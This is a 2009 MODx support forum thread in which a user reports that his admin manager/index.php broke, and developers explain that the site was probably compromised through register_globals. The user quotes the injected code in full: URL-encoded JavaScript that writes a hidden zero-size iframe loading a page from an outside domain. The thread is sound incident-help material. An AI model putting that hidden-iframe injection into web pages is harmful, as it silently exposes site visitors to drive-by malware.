problem with the manager/index.php file

1,024 Posts

Frank Reply #1, 17 years, 9 months ago

Hi,

I found on a site that the manager would not open, error in line 924. I deleted the lines (from 924 onward) and all was allright? Any idea as to what might have happened?

As this site will move to another provider I did not upgrade to the latest modx version, so it is on 0.9.6.1p2. PHP 5.2.0

The lines in question:

// show debug
unset($_SESSION['itemname']); // clear this, because it's only set for logging purposes
include_once "debug.inc.php";
line 924-> %3Ciframe%20src%3D%22http%3A//www.bioito.cn//fi24/index.php%22%20width%3D%220%22%20height%3D%220%22%3E%3C/iframe%3E"; dec = unescape(enc); document.write(dec); </script>
%3Ciframe%20src%3D%22http%3A//www.bioito.cn//fi24/index.php%22%20width%3D%220%22%20height%3D%220%22%3E%3C/iframe%3E"; dec = unescape(enc); document.write(dec); </script>
%3Ciframe%20src%3D%22http%3A//www.bioito.cn//fi24/index.php%22%20width%3D%220%22%20height%3D%220%22%3E%3C/iframe%3E"; dec = unescape(enc); document.write(dec); </script>

<iframe src="http://www.bioito.cn//fi24/index.php" width="0" height="0"></iframe>

www.bioito.cn is not a url I know.

1,336 Posts

shamblett Reply #2, 17 years, 9 months ago

Unfortunately www.bioito.cn is a reported attack site. It looks as though you’ve been hacked here, this stuff shouldn’t be in an index.php file. Do a fresh install of MODx on your new provider and move any local stuff you may have carefully.

Use MODx, or the cat gets it!

1,024 Posts

Frank Reply #3, 17 years, 9 months ago

Strange however the main index.php, rather, the website itself had no problem. They just seemed to have been in the manager/index.php file. I could not login before deleting these lines through FTP.
On the new host I will install the latest MODX version.

1,024 Posts

Frank Reply #4, 17 years, 9 months ago

dear all,

I still have the feeeling I have been hacked, modx or my host, i dont know. But it needs attention i think. So where are you?

MODX Staff
12,272 Posts

Ryan Thrash Reply #5, 17 years, 9 months ago

Did you install on a new host with register_globals set to off with the latest 0963 release?

Ryan Thrash, MODX Co-Founder
Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me

1,024 Posts

Frank Reply #6, 17 years, 9 months ago

not yet, still on the old host. But it was just to get attention to it. Over here it takes 2 weeks (for me as a foreigner) to move from one host to another. Still, strange no, that someone was able to change the index.php in the manager directory?

MODX Staff
10,725 Posts

opengeek Reply #7, 17 years, 9 months ago

Quote from: Frank at Jan 10, 2009, 06:41 PM

not yet, still on the old host. But it was just to get attention to it. Over here it takes 2 weeks (for me as a foreigner) to move from one host to another. Still, strange no, that someone was able to change the index.php in the manager directory?

Has nothing to do with MODx at that point, but an exploit using the register_globals attack vector could have compromised your account password or provided a way for them to upload a script that could have made those changes. Regardless, at that point, your entire account is compromised and every credential needs to be changed to prevent further access from the hackers.

Jason Coward
Chief Architect @ MODX
http://www.jasoncoward.com | http://twitter.com/drumshaman | https://github.com/opengeek

1,024 Posts

Frank Reply #8, 17 years, 9 months ago

okay, thats what i was hoping for. Register globals, mod rewrite and the unwillingnes of the host to change these, are the reason I am changing to another host. So I should no longer encounter such problems, thanks.